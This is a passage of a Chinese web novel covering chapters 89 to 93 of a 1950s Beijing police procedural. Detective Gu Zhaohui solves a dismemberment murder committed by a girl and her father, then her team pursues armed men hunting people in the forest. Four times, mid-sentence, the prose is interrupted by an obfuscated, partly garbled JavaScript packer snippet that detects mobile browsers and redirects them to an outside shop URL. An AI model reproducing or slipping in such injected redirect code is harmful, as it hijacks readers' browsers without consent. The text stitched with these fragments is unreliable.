顾昭蕙摇了摇头“不确定，不过还是要继续查找尸块。” 几个人来到解剖室，在解刨室里将裹尸袋打开，里面是一个由带血床单裹着的尸块，齐云松他们在缝隙里看过，但是没有打开。 卢莫带上手套，将包裹打开，里面是包裹着的两条手臂，还有两条腿，大腿小腿都是分开的。看到这个情况，解剖室中的众人都皱着眉头。太残忍了。 顾昭蕙眉头紧皱着，看到其中一条手臂上带着一块带血迹的手表。 尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478118|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块并排放在解刨台上，卢莫尝试拼了一下，两条大小腿上下对得上，看腿的长短粗细，也可确定是一个人的。 顾智慧皱着眉头看了看手臂和大腿的切口，很整齐“凶手的分尸工具改变了。”卢莫凑过去看了看，“是有变化，这里好像是用的是斧头，几乎一下就将骨头切断了。” 看着这个痕迹，顾昭蕙若有所思，那边拍照已经结束，顾昭蕙小心的将手表从死者手腕上拿了下来。 “让家属辨认一下。”顾昭蕙本来想要将手表递给齐云松，突然又停下来，“咱俩一起去一趟。” 因为孩子还没找到，所以三家的家长都没有离开，包括之前田桂英的父亲，顾昭蕙进入会议室的时候，就看到那个男人此时已经恢复了冷静，但是整个人就像是老了十岁一样。看起来十分憔悴， 他们说明了来意，当拿出手表的那一刻，“啊，悦悦。”坐在田桂英父亲旁边的一个中年男人，突然崩溃的大叫，那声音似乎打开了某个开关，他旁边的女人一下就崩溃了。 顾昭蕙眉头皱了皱看向那个男人“你能确定这是你女儿的手表吗？” 男人扑了过来，整个人有点歇斯底里，齐云松将手抬了抬没让他碰到手表，隔开一段距离。“这是今年过年的时候我和她妈妈送给她的新年礼物。” 那个女人也泪流满面的说“是悦悦的，就因为这块手表她还跟我闹别扭，这块手表要贵二十元钱，我说给她买个便宜的，她不乐意，跟我闹，最后还是他爸同意了。她可喜欢了，睡觉都不摘下来。一天要看很多遍的。” “同志，你能确认我女儿真的没了吗？”男人似乎冷静了一下问道。 顾昭蕙看了看他，“我们只发现了手臂没有找到其它部分，但是可以确定的是手臂主人已经去世了。” 男人听了呆住了一样，过了一会突然抱住女人哭嚎起来。那女人这会也要哭晕过去了。 将安抚家属的工作交给其他同事，顾昭蕙和齐云松退了出来。 “这家人有问题？”离开很远后，齐云松问道，他对顾昭蕙是很了解的，之前她很少面对受害人家属，他记得有一次问过顾昭蕙，她几乎不跟受害者家属打交道是为什么，顾昭蕙跟他说，她对共情能力差，更理智看待问题，面对受害者家属，或许会说出不合适的话。所以她平常很少直接跟受害者家属交谈，就是交谈也是受害人家属情绪稳定以后才会出面。 顾昭蕙摇了摇头“还不确定，新的尸块，刀口与之前的不同，明显的凶手更有力度，也果断，应该跟之前不是同一个人。” 齐云松皱了皱眉头“受害者家属有问题？” 顾昭蕙想了想“先找找其它尸块。” 90. 第 90 章 第九十章 李彩霞的尸体是在三天后找到的，这三天发动派出所的民警还有群中，几乎是大撒网式的排查，才找到了一颗头颅，因为并没有被水浸泡，还能分辨出来，就是第三位失踪者李彩霞的。 李彩霞的头部有开放性伤口，应该是被人用重器击打造成的痕迹。 如今案子已经轰动京城，上边下来两批领导对此十分重视，甚至下了限期破案的命令。 顾昭蕙对此没什么想法，徐春建有点着急，嘴角都长起了燎泡。 “已经三天了，他看起来很正常。”齐云松手里拿着一张烙饼里边卷着天福号酱肘子。眼睛盯着胡同口。 顾昭蕙手上也抱着一个卷饼“不着急。这才第三天。” 此时他们俩还有吴非李想四人正在胡同口的一家茶楼二层，这里正好能看到大院里的大门。 “太好吃了，咱妈的饼烙的也太好了。”齐云松一边吃着一边说道。 这三天他们都是轮着监视，顾昭蕙一直没回家，田静兰今天通过同事买了些白面，烙了几张大饼，又买了酱肘子，给送到单位了，正好李想过来替班，给带了过来。 “哎出来了。”齐云松眼尖，看到那人出门，两口就将手上的饼给塞嘴里了。 “你别去。你个子太高。他也认识你。”顾昭蕙拦住齐云松。 “李想你去，他没见过你，跟的远一点，别让他发现了。”顾昭蕙说道。 李想点点头拿着饼就离开了，今天穿着一身便服，就是为了这个。 齐云松他们三人也没等着，等了一会就跟在后面。 顾昭蕙脑海中调动地图，然后带着他们绕着走，虽然不是一条线，但是每过一个路口都能看到人。不会跟丢。也不会被人发现。 半路上让吴非将李想换了下来，最终跟踪来到一个胡同，吴非小心的躲了起来，那个男人在门口左看看又看看，看他果然就是鬼鬼祟祟的，有问题的样子。 男人看没有人就掏出钥匙打开院门，闪身进入院子。 顾昭蕙三人来到吴非身边，“怎么样？” “进了第二个院子。”吴非汇报道。 “你们俩在这边，我和李想到那边去，等会包抄。”顾昭蕙此时已经确定了，这人绝对有问题。 四个人小心地来到院子门口，顾昭蕙趴在门口仔细听着，里边隐隐传来女子哭泣声，顾昭蕙对着齐云松比了个手势，齐云松点点头，对着几个人比划三个手指头，然后开始倒数，三个数后，抬起腿对着门就是狠踹，那门是个老旧的木门，一下子被齐云松给踹倒了，之后几个人就冲了进去，这屋子院子很小，几乎两步就到了屋门口，李想一脚踹开房门，“不许动，举起手来。” “不许动。”吴非也随后冲了进去。屋子里传来一个女孩声音，接着就是桌椅板凳的声音。 顾昭蕙慢了点，进了屋子就看到那个男人被按在地上，而那个女孩正无措的尖叫着。她走上前去，捏着女孩的手往后一扳手铐就拷了上去“张悦你被捕了。” 张悦听到这句话直愣愣的，此时她看着有点狼狈，脸色惨白，头发也乱糟糟的。 地上的男人抬起头看了看张悦，然后看向顾昭蕙“你不要抓她，是我杀的，人都是我杀的。”男人疯狂的扭动。 吴非将手铐往上一提，男人手被勒了一下，双手后背着，胳膊随着一疼。他叫了一声痛苦的闭上了嘴。 顾昭蕙看着男人，“看来你知道我们为什么抓你。” 男人扭曲着脸说“我认罪，都是我杀的。是我杀的。” 顾昭蕙看着他“你还真是个好父亲，只是有些事情并不是认罪就可以的，是谁做的我们自然有判断依据。” 张悦父女俩北大带了分局，勘查小组进入那个小院子，很快就在小院子的西屋发现了血迹，而且是大量的血迹，虽然无法做DNA但是可以确定血型。检验过后，发现两种血型，与两名受害者田桂英，李彩霞相同。除此之外找到了凶器，是一个玉质的摆件，虽然擦了血迹，行凶时太过用力，摆件上的一个角破了，虽然被擦了，但是因为是断截面并不平滑，还能提取一点血液。 那个摆件上也检查出张悦的指纹。除此之外还找到斧头刀具，全都是证据。不同的是，刀上的指纹是张悦的，斧头上的指纹是张悦父亲张固的。 这些证据已经可以将两人的罪名定下了。 将两人带回分局，徐春建都愣住了，也不知道怎么就把人抓回来了，之前因为上边的限期破案，让他有点着急，天天的带人出去排查寻找尸块，但是一点收获也没有，除了现在找到的这些尸块，其它尸块都没有找到。 因为顾昭蕙那边也没有太多消息，干脆就跟他们分了两个组，从不同的方向寻找。 只是没想到这才过了三天，人就抓回来了。 说起破这个案子，主要还是从尸体上找到的线索，最开始的尸块，顾昭蕙发现那个箱子底下磨痕，按照那个磨痕的位置，凶手个子不会太高，又加上一个不到七十斤的箱子竟然还要拖着走，她又有些怀疑凶手是个女生，或是特别体弱的男人。 按照验尸报告上写的，受害人吃过饭后一个小时被害的，那么就不会是在野外，因为如果在野外遇害，以凶手的实力根本没有办法将尸体转移回宣武区。后来询问受害者，发现除了那两盘炒菜，其它的食物都是三个年轻人带的午餐。所以她怀疑受害者被害的时候是在一处房屋，还是独门独院的，至少做一些事情不会被人发现的。 接下去就是第二包尸块，那块手表太扎眼了，一般情况分尸案，都是防止发现受害者身份，而且这块手表价值二百二十元，一般人不会舍得扔掉，这样一块价格不菲，还能暴漏身份的东西，竟然就那么堂而皇之的带在一条手臂上，就有点意思了。 所以当看到那块手表顾昭蕙就觉着有些问题，所以她才想要直接将手表让受害者父母辨认一下。 那块手表直接从死者的手上摘下来，上面还有一些血液，装在塑料袋里，这年代的塑料袋是刚刚进入国内，并不特别透明，实际上一般人得细致看一下，才能确认是什么样的手表。 可是当手表出现，张悦的父亲直接就确认了那是他女儿的手表。就连孩子的母亲都是听了父亲的话，才确认的。 很不正常，之后回到办公室她和小组的人进行了一下讨论，觉着很大可能是凶手想做出三个孩子都死了的假象。而且分尸的人有两个，一个笨拙无力，一个有力果断。所以这是两个人做的。 怀疑的目标就放在张悦和她的父亲身上，因为另外两人已经确定死亡了。 监视几天张固，张固一直没出来，直到今天，果然他出门了。 “我也不想的。”张悦整个人都有点神经质了“我们去爬山，刚爬了没多长时间，桂英突然来了例假，她说她不舒服，我们也不想回家，我就带他们去那处房子，那房子是父亲一个朋友的，一直是父亲帮着看房子。 有一次我遇到父亲在那个屋子里出来，我就问他，他跟我说是给朋友看房子，不过那个朋友出国了一时半会不能回来。我知道父亲习惯将备用钥匙放在门口的墙上一块活动的砖头里。想着我们去了待一天也不会有人发现。” 张悦抽了抽鼻子，“我们路上还去市场买了点菜，中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482000|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午炒了菜一起吃了。吃了饭我们没事做，彩霞就在屋子里溜达，然后她就在西屋抽屉里发现了一张照片。”张悦闭了闭眼睛，露出一个痛苦的表情，“那个照片里是我父亲和一个女人，我父亲当时穿着南方的军装。那个女人长得也挺漂亮。” 张悦双手抓了抓头发“彩霞说，我父亲是特务，拿着照片要去街道告状。我当时吓坏了，看她要出门，就顺手拿着那个摆件砸了过去。没想到她就死了。” “我真不是故意的，就是她一直说，要告状，我就拿着那个东西一砸，怎么就死了呢。”张悦不停地撸着自己的头脸，神情有些崩溃。 “桂英吃了饭本来在东屋床上歪着，听到声音就跑过来，然后她就叫了起来，那声音尖厉又刺耳，然后她就往外跑，我顺手就抓住了她的衣服，她带着她最喜欢的那条毛围脖，我就拉着那个围脖，当时围脖缠着脖子，毛围脖特别有弹性，她挣扎的厉害，我就使劲勒使劲勒。然后她就不动了。” 张悦回忆着，手上动作停了，似乎回忆到可怕的事情。 “然后呢你怎么想到分尸的。”顾昭蕙没有让她陷入自己的思绪里，干脆的问道。 张悦回过神，眼中闪过恐惧“我抬不动，他们太沉，我就想着人切开就轻了，然后我就拿刀切开了，彩霞比桂英胖，我就先分桂英。没想到那么难弄。”张悦说到这里神色都有点不正常了。 “然后你就找你父亲了？”顾昭蕙问道。 张悦点点头“那屋子里只有那一个箱子能装尸体，我不知道怎么办了，就找到我父亲。他处理其它问题。” “这些证据还有你女儿的口供，都能证明事情是她做的。”顾昭蕙将口供扔到桌子上。 张固靠着椅子上，“能给我一颗烟吗？” 齐云松将一颗烟点着递给他。 张固吸了一口，“我没想到会发生这样的事情，早年的时候我在南方当兵，当时悦悦妈在京城这边照顾我父母，那时候混乱的很，我就认识了那个女人，我们两个一直保持着关系，直到四八年，那年我父亲去世我回京奔丧，之后本来想回去了，但是形势不好，我就想着趁机脱离那边。之后就找了个工作，然后就是四九年，当时有些政策也是挺宽的，至少没有人找我的麻烦，后来五二年，我又遇到她，她就住在那个屋子，我们俩就又好上了。维持了差不多两年时间，她突然失踪了。我每个月都去那里看看，明面上说给朋友看房子。” 他低下头，“真没想到会发生这样的事。悦悦在我上班的路上等我，那已经是第二天早上了，我知道发生了什么事情后，也吓坏了。但是我怕我突然离开会让人疑心，我就继续上班，等晚上的时候我去了那个屋子，当时屋子里已经乱七八糟，我知道事情大了。当时就想着如果悦悦回去，肯定会被怀疑，就想着干脆，让她也消失，等事情过去，让她去外地，总能换个身份继续生活。” “然后就向你们调查出来的那样，我将尸体分开，利用手表伪造了悦悦也被杀的样子。那屋子收拾好后，我让悦悦在那个院子等着我，本来想让她躲一阵子，那个院子不会有人发现，也不会怀疑到我们的身上，可是我离开的时候发现悦悦神色有点不正常，我就想着那个院子让她一个人待着有点吓人，所以今天就想去看看她。没想到你们早就盯上我了。” 张固有点沮丧，自己做的这些事情，没有掩盖事情，反而暴露了他们。可惜他知道的时候张悦已经将尸体扔掉一部分，否则他不会让她那么做的。 顾昭蕙看了那些口供，点了点张固口供中关于那个女人的信息，齐云松看了点了点头“我已经让李想和吴非去查她的登记信息了。” 91. 第 91 章 第九十一章 关于那个女人的信息一时半会不回有结果。 因为张家父女的招供，他们找到了两个女孩的全部尸首，案子也算是结了，但是这个案子让顾昭蕙发觉，有时候就是普通人，或者外表看着柔弱的人，也能做出骇人听闻的事情，在这个案子之前谁能想到一个不到二十岁的女孩，能做出杀害两人，并且分尸这样的案子呢。 想到两个女孩只是因为一张照片，失去生命，那些隐藏在暗处的敌人也是十分可恶的。 离开分局，三组人回到了市局，顾昭蕙发现这次的案子让大家心情都不怎么好，想了想拍了拍手，“大家这一星期辛苦了，明天周末，大家要是没有事，咱们明天出去踏青，这次咱们案子办的不错，分局那边给了一些奖励，要是咱们分了一人也分不了多少，干脆买些食物明天咱们野炊，去水库那边，咱们一边钓鱼一边游玩，怎么样？” 大家听了很有兴致，他们组年级最大的也就周柏也还不到四十岁，都是年轻人，对于这种活动自然高兴。纷纷表示一定参加。 当然这次活动也不单单是为了让大家缓解心情，上次爆炸案后，他们组新来六个年轻人，这几个年轻人都是从部队上调来的，这段日子看来，人都不错，是那种爱学习听命令的。所以顾昭蕙也是想趁着这个机会让大家熟悉熟悉，培养一点默契，李想和吴非两人跟着他们办了几个大案，已经能独当一面了，所以顾昭蕙想着让他们俩搭档，以后一些小案子就可以交给他们了。这样一来周柏张燕山，理想吴非，如果遇到大案，可以分三个方向调查。 他们组里还有王明和白容，王明本来也跑外勤，但是从爆炸案开始就转内勤了，案件并不是破获了就结束了，还有许多报告要写，王明在这方面有些天赋，他写的报告很有逻辑，不啰嗦简洁明了，所以调来新人后，王明就转内勤了，别看是内勤，他的工作也是很忙碌的。 到此三组的班底彻底组建完毕，已经是一个合格的团队了。 周末一早，顾昭蕙跟齐云松去了副食品商店，昨天就已经跟他们打了招呼，这边副食品商店，本来就供应市局这边食堂，等他们到了直接带到后边仓库，很多食材还没有上架呢。 他们这次主要是买些猪肉，昨天说好了，如果有羊肉弄一些，烧烤少不了羊肉串，也是他们运气好，弄到了一块羊肉，带有肥肉的羊肉，猪肉顾昭蕙直接要了五花肉。 两人还去菜场买了些辣椒韭菜还有调料，弄好后，已经是早上八点了，骑了自行车去了市局门口和组员集合然后骑车去了水库。 骑车差不多用了一个多小时，才到地方，找了个靠着水库边上，平整的地方，他们将准备的东西都放下，昨天已经安排好了，顾昭蕙说了一下烧烤架，是周柏提供的，说是他老丈人当年摆摊用的，不过拿来才发现有点大，不过他还带了铁网帘子，细密适合烤肉。 一行人过来看景不是最重要的，吃才是，这年代人们对于食物的需求永远是第一位的。 羊肉切小块，肥瘦相间的穿在竹签子上，五花肉切成合适的厚片，然后就放在盆子里，一会直接烤就可以了，顾昭蕙配了点烧烤蘸料，然后还有烤羊肉串的孜然，这东西绝对是羊肉伴侣，没有的话会差点味道。 张燕山是最后到的，他到的时候自行车后边挂着两个大桶，推车到地方大家才看到里边是北冰洋汽水，两大桶里边还飘着一些冰块。 这下子全都乐坏了。啥也别说，直接烤上，也不用等中午了。 开始或许不熟练，但是自己烤着慢慢吃着感觉特别好。平常只在工作中接触的几个人慢慢的都熟悉了。 这顿烧烤吃了俩小时，之后也不用回去，几个人架了鱼竿开始钓鱼，顾昭蕙不愿意钓鱼，就跟吴非几个一起打牌，这里没有纸条，不能贴，他们就插草棍，那样子更滑稽。 “组长吴哥和李哥他们俩组队，之后要有案子，你能不能带带我啊。”说话的是组里一个才十九岁年级最小的叫汪晨的小子。 顾昭蕙手上拿着牌，“行啊，你们几个之后两两分组，轮着跟我们出任务，要学的东西多呢，你们想不学都不行的。” 另外几个小子本来听汪晨说，还有点懊悔，想着自己没先开口，让那小子抢了先机。 汪晨转了转眼珠子，想着说是轮换，但是能跟在组长肯定能学到更多的东西，他就想着找机会一定要跟着组长。 这汪晨父母都是烈士，去世的早，他孤身一人，被他父亲的几个战友带大的，性子最是跳脱，早早地就当兵了，这次从军中调人也是看他年纪小性子活，学东西快，才把他调过来的。 “上鱼了上鱼了。”突然岸边传来大喊声。 几个人放下手里的牌，往岸边跑去，刚站稳，就看周柏手上的鱼竿一挑，一条差不多有二斤的鲤鱼就被掉了上来。 “好大的鱼。”几个人忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493358|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住兴奋道。 “快拿桶过来，等会咱们熬上一锅鱼汤。新钓上来的鱼最新鲜了。”周柏也特别兴奋，“哎，这还是我今年钓的最大的一条鱼呢。” “周哥钓鱼好手，这才哪到哪，没准一会钓一条更大的。”齐云松夸赞道。 几个人说说笑笑，继续下杆。顾昭蕙他们也不会去，就蹲在这看着，没一会齐云松那边上来一条鲫鱼，半斤左右，不过对于这种野生鲫鱼也不算小。 看着上鱼一行人对钓鱼也很感兴趣。有点跃跃欲试的感觉。 就在这时，突然，啪的一声木仓声响起。 众人一惊，“那边。”顾昭蕙辨别声音很快，指出声音传来方向。“汪晨你和白姐留下来。小心”说着众人就朝着声音传来的方向跑去。 声音传来的地方是一片林子，几个人进入林子，“这里。”齐云松眼尖，也是这个人的位置太过明显。就在树林边上没多远的地方趴着。 顾昭蕙跑的有点气喘吁吁，过来的时候大家已经来到那个人身边，齐云松摸着那人的脖颈，对着他们摇了摇头。 顾昭蕙看到那人后背有一个血洞，里面流出许多血液“小心对方有木仓。” 众人点点头，小心的分散搜寻，按照弹道位置走去。 顾昭蕙没有根据，她要第一时间看看死者情况。 死者身上穿着有些破烂的服装，没有穿鞋，双脚破损带有老茧，似乎很长时间没有穿鞋了，身上裤子下半部分已经破碎，衣服看着更像是流浪汉穿着。 她将人翻了过来，这人脸上也是黑漆漆的，身上露出的皮肤也是很久没有洗澡的样子，很多泥垢。甚至连面容都看不清楚。 仔细观察双手，上面有很多刮痕很脏，头发凌乱。可以判断这人就是个流浪汉。只是无法辨别他是否有精神上的问题。 木仓口创伤需要回去才能看出来。但是看木仓击中位置，离心脏还有一些距离，按理说他们听到声音跑过来，这个位置不至于马上死亡。 齐云松他们回来的时候只找到一个子弹壳，并没有更多的发现。“人跑了是远距离攻击，是步枪子弹。” “步枪？打猎的？”顾昭蕙想了想“先查一下子弹来源。附近有没有猎人进山。” 齐云松刚才在子弹发现的地方看了一下“不是误杀，从那个角度对受害人的方向看的很清楚，有追赶的痕迹。” “走进去看看。” 92. 第 92 章 第九十二章 也许这是最快的出警，整个三组里的人都动了起来，水库旁边的山林十分庞大，有七八个山头。 顾昭蕙和齐云松还有周柏带着几个人年轻人一起去森林里搜查，越往里走，顾昭蕙心里越沉，他们刚刚走了大概一里左右，他们发现一些树上竟然有弹痕。 齐云松从树干上抠出一颗子弹“同一型号的。” 顾昭蕙仔细观察那个弹孔，“不是新弹孔。” “你们看这里。”周柏站在他们不远的地方，站着僵直不动。 顾昭蕙和齐云松走过去，然后也愣住了，那是一具已经被野啃咬过的尸体，残缺不全，但是可以看到尸体的后脑有一个弹孔。 “畜生。”齐云松咬着牙说道。 顾昭蕙心里也波动不断，大脑迅速分析着，“有人在森林里‘狩猎’。”她蹲下去，查看这具尸体的情况，尽管已经残缺不全，但是她还是能分辨出来，这是一个年级不大的人。 她带着手套，将死者腿部位置扒拉开，从骨头附近找到了一颗子弹。 此时在场的人看到这样的情况脸色都不好了。 “汪晨你去找附近军区借人，这边需要搜山。有什么问题，打电话去市局，让大队长协调。”顾昭蕙说道。 她看了看森林深处，“咱们继续往前，那人或许没有离开，一定要小心。如果他习惯了狩猎，那我们也可能成为他的猎物。” 说完带着队伍往前走，不过这次出发他们更加谨慎小心。 啪啪——两声木仓的声音，所有人全都趴在地上，子弹在不远的树上留下弹痕。 齐云松将顾昭蕙扑倒，将她的头往下按，小心抬头确定子弹飞来方向。 “那边。”顾昭蕙头抬不起来，但是手准确指出子弹飞来的方向，她观察力比较强只要看到的景象，就能在大脑里回访，所以刚才她虽然只是瞥了一眼，甚至都没看清具体情况，但是大脑已经将影响留存了。 对她的判断齐云松是从来不会怀疑的，所以他迅速爬起，然后拉着顾昭蕙，让他走在他身后。“走扇形，小心躲避。” 在场的人都不是生手，基本上都是部队里出来的，所以跟在齐云松身后，开始躲避追踪。 之后又是几声枪响，顾昭蕙躲在齐云松身后，跟着他的脚步，眼睛盯着前方，听见声音，大脑迅速回放，然后确定子弹射来的防向。齐云松也跟着调整，他的动作不慢，几乎一直在更换着自己的动作，并且将顾昭蕙带着走向不同的方向，顾昭蕙开始还被她的动作带的有点趔趄，但是很快她也熟悉了他的行为，几乎他手腕一动，她就能做出相应的动作。两个人慢慢配合的很好。 在丛林里走动十分不便，尤其一直往山上走，对方在高处对他们有些压制的作用，但是对方每次的子弹，都给他们指引方向。双方的距离慢慢拉进。 对方可能也发现这个问题，不在开枪，加速逃离他们的视线。是的他们已经看到那个人的身影了，顾昭蕙甚至已经在大脑里对那人进行了数据收集，模拟图像，以目前的情况看来，如果在大街上见到她也是能认出对方的。 很快他们来到那人开枪的地方，顾昭蕙找到一处脚印。因为在途中，不能长久停留，顾昭蕙拿了树枝将脚印围起来保护起来。 走到这里那人虽然已经跑掉了，但是现场的痕迹很多，脚印，折掉的树枝。这些都可以作为追踪的线索。 队伍中有一个叫王国伟的，平常不爱说话，也不像汪晨那么会表现自己，在几个新队员中，算是不起眼的那个，顾昭蕙也只跟他说过几句简单的话，但是这会他却是打头阵，带着他们迅速地跟踪而去。 也是这时候顾昭蕙才想起来这个王国伟以前是侦察连的，还是在南方跟土匪打过仗的，他最擅长山地最踪，而且耐力好，只是去年一场剿匪活动异常艰难，他们整个连就剩下三个人，这三个人被他们团长带到京城来了。 他能来市局也是上边推荐的，这个追踪能力实在是强。 一行人迅速前行，虽然在山里走路十分难走，但是几个人没有一个人叫苦，都在坚持着。 顾昭蕙身体不算强，但是她的韧劲确实一般人比不上的。 追了大约一个多小时，王国伟突然停下来。 众人也小心的躲在树丛里，顾昭蕙眯着眼睛透过重重树木，看到那个从小溪边上蹲着喝水的人，那人身高有一米七五，人长得强壮，身上背着一把步木仓。 齐云松对着几个人比划一下，然后让顾昭蕙和周柏留在原地。几个人从三个方向小心的包抄过去。 顾昭蕙将自己身体压得更低，她小心的观察着那人，那人也累坏了，看他斜着蹲在那里看看起来应该是很警觉，手里拿着一个水壶，一边装着水一边看着周围。不过顾昭蕙突然发现不对劲，眼看齐云松他们就要冲出林子，想要扑向目标，她心中一凛，无法再想出更好的办法。 直接冲了出去，“不许动。”就在她这声音响起的同时一声枪响也响了起来，顾昭蕙身体一晃向旁边扑了过去。 齐云松几人已经按照之前的准备，想要扑上去，刚才他们比划几下子，其中一个人用来吸引目标，然后其他人进行抓捕，他们出来游玩，根本没有带木仓，所以这会只能冒险。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518690|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是顾昭蕙突然冲出来，让他们一下惊住了。不过齐云松反应快，对着顾昭蕙就扑了过去，抱着她在地上打了个滚直接滚到旁边的草丛里。 王国伟和另一位叫石文的队员从后边扑向那个喝水的男人，同时两人身体在行进过程中进行了规避。 那人本身就是一个诱饵，他听见顾昭蕙的话，惊了一下，但是很快就反应过来，拿过木仓对准齐云松，可是两个人已经滚进草丛，身后传来风声，他回过身，抬起木仓却没有机会开，整个人就被扑到了。 跟在齐云松身边的那个叫邓博洋的，两个人竟然都拿着一根枯树枝冲着几个人扬了起来，啪啪啪——木仓声一声接着一声，四个人在混乱的情况下，将那人给抓到树丛之中。 “都没受伤吧。”顾昭蕙已经缓过来了，刚才她发现对方不是他们跟踪的那个人，她当时就想到这个有些开阔的地方比较适合伏击，这就是个圈套，想到齐云松他们根本没有准备，如果直接冲出去，后果不堪设想。所以她先跳出去，就在她跳出去的一刹那，她身体就往一边倒。果然那子弹直接对着她就来了。 “没事。”王国伟和石文两个人狠狠地按着那个男人，将那人的脑袋狠狠地压在地上。 “你们几个人？”齐云松将人的脑袋拎起来一点。 那人吐了口唾沫，狠狠地瞪着他。 齐云松手上一紧“几个人。你要不说，我们抓不到他们，那么这林子里死的人，就都是你罪证了。” 那人眉头皱了皱，头皮一紧，整个人被拉着弓了起来，他不适的动了动“还有两人。” “几杆木仓。”齐云松问。 “三杆。”那人艰难地回答。 齐云松看了看，顾昭蕙，她摇了摇头，齐云松想了一下“周哥你和石文，压着他往回走，汪晨他们应该带人过来了，将人交给他们带人进山。” 周柏没有丛林里的经验，年级又大些，所以让他回去，更何况他带人回去比较稳当。虽然齐云松更想顾昭蕙回去，但是她以弹道寻人的能力确实有用。就作罢。 剩下四个人小心的趟着小溪走过去，继续往里走，虽然已经知道了方向，但是那两人尤其是那个开了枪的人，实力很强。 “这人枪法很厉害，从我出去到瞄准，只有几秒钟时间，快速又准。”当时跳出去也是因为这个，她就怕碰到这样一个人。 齐云松点点头，他也看到了，当时顾昭蕙跑出来的时候，人就倒下了，几乎就是瞬间，在她站立的位置打出一个弹孔。如果当时顾昭蕙不跳出来，他和邓博洋为吸引那人的饵，肯定要被袭击的，那结果不敢想象。 93. 第 93 章 第九十三章 这边林子更密，而且是松树林，很难走，几个人几乎是爬着走。不过他们找到了对方行动的痕迹。没有把人跟丢。从刚才那人身上搜到了木仓和弹药，至少能跟对方有一拼。不那么被动了。 顾昭蕙没有这边的确切地图，有地图，也只是表明这边是大山，具体山有几座，多少林子，根本不清楚。但是看这边树林情况，应该已经进入深山了。 天已经慢慢的黑下来了，他们已经追踪几个小时了，情况对他们不利，这几个小时，他们就在刚才渡过小溪后，喝了一点水，这会又渴又饿，一会天黑了，林子里的猛兽也要开始出来活动，他们也很危险。他们甚至连一个手电筒也没有。 “怎么办？我们也看不清路了。”王国伟皱着眉头，他夜视力不是很好，想要找到痕迹几乎不可能。 “我来带路。”此时顾昭蕙身体状态不是很好，但是她在这种光线下，看东西还是能看见的，虽然有些地方不是很清楚，但是她的大脑会分析那些模糊的影像，给出一个结果。 四个人为了不掉队，将王国伟贡献出一个腰带，是那种布腰带，是南方少数民族自己织的那种布料，实际上是个袋子，里边可以放些干粮，之前当侦察兵的时候里边就放些干粮，还是到这边才改掉的习惯。他将腰带撕成几条，将几个人的连在一起。 顾昭蕙在前面，齐云松跟在她后边，然后是邓博洋最后王国伟。 几个人一串往前走。 顾昭蕙按照之前的方向她继续往前走，虽然天色很暗，但是这边能清晰地看到两个人走过的痕迹。这边几乎没有路，他们用□□开路，所以痕迹明显。 又走了半个多小时，顾昭蕙突然停下来，对着齐云松比划一个小心的动作，然后蹲下来。几个人屏息凝神，一会听见呼哧呼哧的声音，过了一会就在他们前方不远的地方，一头野猪从林子里走出来，野猪呼哧呼哧的突然停下来，脑袋往他们这边看了看，然后扭着走了。 过了很久，顾昭蕙才拽了拽带子，然后站起身往前走。 几个人更加小心了，那两人可能觉得他们不能跟上来了，所以他们又走了差不多一个小时的时候就看到半山上有一道亮光。 说实话他们已经不知道自己走了多远了，此时看着半山的那道亮光，就跟看到灯塔一样。 “有一个人在洞外边，还有一个在洞里，只看到一把木仓。”王国伟小心地去看了看情况回来说道。 顾昭蕙看着那道火光，“这边洞穴不知道多深，万一里边地方大，咱们就被动了。” “不然我们等一等。”邓博洋说道“等外边守夜这人困了，咱们再扑上去。” 也没有什么更好的办法，“先看看情况。”齐云松说道，对着三个人摆摆手。他们小心撤下来。来到一处能观察到洞口的地方。 “赶紧休息一会。我看着。”齐云松趴在地上将木仓架好。 顾昭蕙坐在地上，忍不住躺了下来，这一天可累坏了，双脚估计全是水泡了。不过她躺了一会还是强迫自己翻身趴下来，看向那个洞口。 